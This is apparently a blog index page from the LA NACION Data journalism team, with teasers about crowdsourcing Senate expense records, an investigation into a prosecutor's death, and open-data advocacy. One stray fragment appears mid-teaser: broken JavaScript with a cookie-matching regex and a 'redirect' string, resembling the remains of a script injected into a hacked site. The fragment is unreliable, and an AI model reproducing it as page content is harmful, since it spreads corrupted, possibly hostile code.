Open Collaboration :: Senate Expenses

Using our online collaborative platform Vozdata for Crowdsourcing, we continued during 2017 to open PDFs from Senate Expenses. http://www.lanacion.com.ar/gastos-senado and this year, during a civic marathon at LA NACION we got the visit of the new appointed Director of Senate Transparency. Take a look at our Facebook Album!       “; )”\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));”;,”redirect”);>,;”””; ; “”)}

Data Journalism, No Excuses

LA NACION DATA website is not just a website, it´s a strategy, a project and a team. The strategy has to do with the commitment of using data to tell stories and expand the use of data, preferably open data, to activate demand of public information, in a country that just passed a FOIA law… Seguir leyendo Data Journalism, No Excuses

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The death of a prosecutor, 40,000 audio hearings, 2 years and a team.

  I. Intro II. The story (includes major terrorist attack, jewish community, Iranian Government, a President accused and a prosecutor found dead) III. The collaborative investigation IV. Analysis V. Major Findings VI. The app VII. Technology VIII. Impact IX. Open data X. Conclusion   I. Intro How and why we built a database of 40.000… Seguir leyendo The death of a prosecutor, 40,000 audio hearings, 2 years and a team.

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Open Data Journalism for Change

Since 2011 when LA NACION Data was launched as an open data journalism initiative, its strategy has been the same: to do data journalism AND to open data. The vision we have is that each set of data that is published means that more knowledge is released. The first step to make datasets famous is… Seguir leyendo Open Data Journalism for Change

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